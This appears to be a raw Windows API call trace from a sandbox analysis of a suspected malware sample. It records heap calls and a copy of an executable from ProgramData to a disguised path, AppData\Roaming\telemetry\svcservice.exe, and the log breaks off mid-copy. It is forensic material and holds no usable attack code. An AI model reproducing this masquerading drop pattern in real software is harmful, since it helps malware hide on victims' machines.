[0077.727] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x2) returned 0xfe5d00
[0077.727] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xfe5d00 | out: hHeap=0xfe0000) returned 1
[0077.727] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x2) returned 0xfe5d00
[0077.728] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x18) returned 0xffc598
[0077.728] GetLastError () returned 0x7a
[0077.728] SetLastError (dwErrCode=0x7a)
[0077.728] GetLastError () returned 0x7a
[0077.728] SetLastError (dwErrCode=0x7a)
[0077.728] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0xb8) returned 0xff2d08
[0077.728] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x6a6) returned 0xfff5a8
[0077.728] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xfff5a8 | out: hHeap=0xfe0000) returned 1
[0077.728] GetLastError () returned 0x7a
[0077.728] SetLastError (dwErrCode=0x7a)
[0077.728] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x6) returned 0xff2dc8
[0077.728] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x2) returned 0xfeefb0
[0077.728] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x4) returned 0xfef870
[0077.728] GetLastError () returned 0x7a
[0077.728] SetLastError (dwErrCode=0x7a)
[0077.728] GetLastError () returned 0x7a
[0077.729] SetLastError (dwErrCode=0x7a)
[0077.729] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0xb8) returned 0xff2428
[0077.729] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x6a6) returned 0xfff5a8
[0077.729] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xfff5a8 | out: hHeap=0xfe0000) returned 1
[0077.729] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xff2dc8 | out: hHeap=0xfe0000) returned 1
[0077.729] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xff2d08 | out: hHeap=0xfe0000) returned 1
[0077.729] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xfef870 | out: hHeap=0xfe0000) returned 1
[0077.729] GetLastError () returned 0x7a
[0077.729] SetLastError (dwErrCode=0x7a)
[0077.729] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x6) returned 0xfef870
[0077.729] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x2) returned 0xff24e8
[0077.729] GetLastError () returned 0x7a
[0077.729] SetLastError (dwErrCode=0x7a)
[0077.729] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x200) returned 0xfff5a8
[0077.729] GetLastError () returned 0x7a
[0077.729] SetLastError (dwErrCode=0x7a)
[0077.729] GetLastError () returned 0x7a
[0077.730] SetLastError (dwErrCode=0x7a)
[0077.730] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x4) returned 0xff1e18
[0077.730] GetLastError () returned 0x7a
[0077.730] SetLastError (dwErrCode=0x7a)
[0077.730] GetLastError () returned 0x7a
[0077.730] SetLastError (dwErrCode=0x7a)
[0077.730] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0xb8) returned 0xff2d08
[0077.730] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x6a6) returned 0xfff7b0
[0077.730] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xfff7b0 | out: hHeap=0xfe0000) returned 1
[0077.730] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xfef870 | out: hHeap=0xfe0000) returned 1
[0077.730] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xff2428 | out: hHeap=0xfe0000) returned 1
[0077.730] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xff1e18 | out: hHeap=0xfe0000) returned 1
[0077.730] GetLastError () returned 0x7a
[0077.730] SetLastError (dwErrCode=0x7a)
[0077.730] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x6) returned 0xff2dc8
[0077.730] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xff24e8 | out: hHeap=0xfe0000) returned 1
[0077.730] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xfeefb0 | out: hHeap=0xfe0000) returned 1
[0077.731] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x8) returned 0xfeefb0
[0077.731] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x8) returned 0xfff948
[0077.731] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x8) returned 0xfff838
[0077.731] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x8) returned 0xfff938
[0077.731] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x38) returned 0xff53a8
[0077.731] AreFileApisANSI () returned 1
[0077.731] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0xffd1a8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 40
[0077.731] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x50) returned 0xff0658
[0077.731] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0xffd1a8, cbMultiByte=-1, lpWideCharStr=0xff0658, cchWideChar=40 | out: lpWideCharStr="C:\\ProgramData\\35705580001859887656.exe") returned 40
[0077.731] CreateFileW (lpFileName="C:\\ProgramData\\35705580001859887656.exe" (normalized: "c:\\programdata\\35705580001859887656.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xefe09c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
[0077.731] GetFileType (hFile=0x19c) returned 0x1
[0077.732] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xff0658 | out: hHeap=0xfe0000) returned 1
[0077.732] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x8) returned 0xfff958
[0077.732] GetLastError () returned 0x0
[0077.732] SetLastError (dwErrCode=0x0)
[0077.732] GetLastError () returned 0x0
[0077.732] SetLastError (dwErrCode=0x0)
[0077.732] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0xb8) returned 0xff2428
[0077.732] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x6a6) returned 0xfff9b8
[0077.733] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xfff9b8 | out: hHeap=0xfe0000) returned 1
[0077.733] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xff2dc8 | out: hHeap=0xfe0000) returned 1
[0077.733] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xff2d08 | out: hHeap=0xfe0000) returned 1
[0077.733] GetLastError () returned 0x0
[0077.733] SetLastError (dwErrCode=0x0)
[0077.733] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x6) returned 0xfff908
[0077.733] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x2) returned 0xfff968
[0077.733] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x4) returned 0xfff7f8
[0077.733] GetLastError () returned 0x0
[0077.733] SetLastError (dwErrCode=0x0)
[0077.733] GetLastError () returned 0x0
[0077.733] SetLastError (dwErrCode=0x0)
[0077.733] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0xb8) returned 0xff2d08
[0077.733] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x6a6) returned 0xfff9b8
[0077.733] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xfff9b8 | out: hHeap=0xfe0000) returned 1
[0077.733] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xfff908 | out: hHeap=0xfe0000) returned 1
[0077.734] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xff2428 | out: hHeap=0xfe0000) returned 1
[0077.734] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xfff7f8 | out: hHeap=0xfe0000) returned 1
[0077.734] GetLastError () returned 0x0
[0077.734] SetLastError (dwErrCode=0x0)
[0077.734] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x6) returned 0xfff808
[0077.734] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x2) returned 0xfff9a8
[0077.734] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x4) returned 0xfff7d8
[0077.734] GetLastError () returned 0x0
[0077.734] SetLastError (dwErrCode=0x0)
[0077.734] GetLastError () returned 0x0
[0077.734] SetLastError (dwErrCode=0x0)
[0077.734] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0xb8) returned 0xff2428
[0077.734] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x6a6) returned 0xfff9b8
[0077.734] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xfff9b8 | out: hHeap=0xfe0000) returned 1
[0077.734] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xfff808 | out: hHeap=0xfe0000) returned 1
[0077.735] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xff2d08 | out: hHeap=0xfe0000) returned 1
[0077.735] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xfff7d8 | out: hHeap=0xfe0000) returned 1
[0077.735] GetLastError () returned 0x0
[0077.735] SetLastError (dwErrCode=0x0)
[0077.735] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x6) returned 0xfff988
[0077.735] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xfff9a8 | out: hHeap=0xfe0000) returned 1
[0077.735] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xfff968 | out: hHeap=0xfe0000) returned 1
[0077.735] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x8) returned 0xfff808
[0077.735] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x38) returned 0xff53e8
[0077.735] AreFileApisANSI () returned 1
[0077.735] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0xff25b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63
[0077.735] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x7e) returned 0xff2d08
[0077.735] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0xff25b8, cbMultiByte=-1, lpWideCharStr=0xff2d08, cchWideChar=63 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry\\svcservice.exe") returned 63
[0077.735] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry\\svcservice.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\telemetry\\svcservice.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0xefe09c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0
[0077.736] GetFileType (hFile=0x1a0) returned 0x1
[0077.736] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xff2d08 | out: hHeap=0xfe0000) returned 1
[0077.736] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x1000) returned 0xfff9b8
[0077.736] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.737] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.744] GetLastError () returned 0x0
[0077.744] GetProcAddress (hModule=0x76920000, lpProcName="FlsGetValue") returned 0x769cf350
[0077.744] SetLastError (dwErrCode=0x0)
[0077.745] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.745] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.745] GetLastError () returned 0x0
[0077.745] SetLastError (dwErrCode=0x0)
[0077.745] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.746] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.746] GetLastError () returned 0x0
[0077.746] SetLastError (dwErrCode=0x0)
[0077.746] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.746] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.746] GetLastError () returned 0x0
[0077.746] SetLastError (dwErrCode=0x0)
[0077.747] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.747] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.747] GetLastError () returned 0x0
[0077.747] SetLastError (dwErrCode=0x0)
[0077.747] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.747] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.748] GetLastError () returned 0x0
[0077.748] SetLastError (dwErrCode=0x0)
[0077.748] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.748] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.748] GetLastError () returned 0x0
[0077.748] SetLastError (dwErrCode=0x0)
[0077.748] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.749] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.749] GetLastError () returned 0x0
[0077.749] SetLastError (dwErrCode=0x0)
[0077.749] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.749] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.750] GetLastError () returned 0x0
[0077.750] SetLastError (dwErrCode=0x0)
[0077.750] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.750] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.750] GetLastError () returned 0x0
[0077.750] SetLastError (dwErrCode=0x0)
[0077.750] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.751] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.751] GetLastError () returned 0x0
[0077.751] SetLastError (dwErrCode=0x0)
[0077.751] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.751] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.751] GetLastError () returned 0x0
[0077.752] SetLastError (dwErrCode=0x0)
[0077.752] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.752] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.752] GetLastError () returned 0x0
[0077.752] SetLastError (dwErrCode=0x0)
[0077.752] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.752] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.753] GetLastError () returned 0x0
[0077.753] SetLastError (dwErrCode=0x0)
[0077.753] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.753] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.753] GetLastError () returned 0x0
[0077.753] SetLastError (dwErrCode=0x0)
[0077.754] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.754] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.754] GetLastError () returned 0x0
[0077.754] SetLastError (dwErrCode=0x0)
[0077.754] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.754] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.755] GetLastError () returned 0x0
[0077.755] SetLastError (dwErrCode=0x0)
[0077.755] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.755] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.755] GetLastError () returned 0x0
[0077.755] SetLastError (dwErrCode=0x0)
[0077.756] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.756] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.756] GetLastError () returned 0x0
[0077.756] SetLastError (dwErrCode=0x0)
[0077.756] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.756] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.757] GetLastError () returned 0x0
[0077.757] SetLastError (dwErrCode=0x0)
[0077.757] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.757] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.757] GetLastError () returned 0x0
[0077.757] SetLastError (dwErrCode=0x0)
[0077.758] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.758] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.758] GetLastError () returned 0x0
[0077.758] SetLastError (dwErrCode=0x0)
[0077.758] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.758] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.759] GetLastError () returned 0x0
[0077.759] SetLastError (dwErrCode=0x0)
[0077.759] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.759] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.759] GetLastError () returned 0x0
[0077.759] SetLastError (dwErrCode=0x0)
[0077.759] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.760] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.760] GetLastError () returned 0x0
[0077.760] SetLastError (dwErrCode=0x0)
[0077.760] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
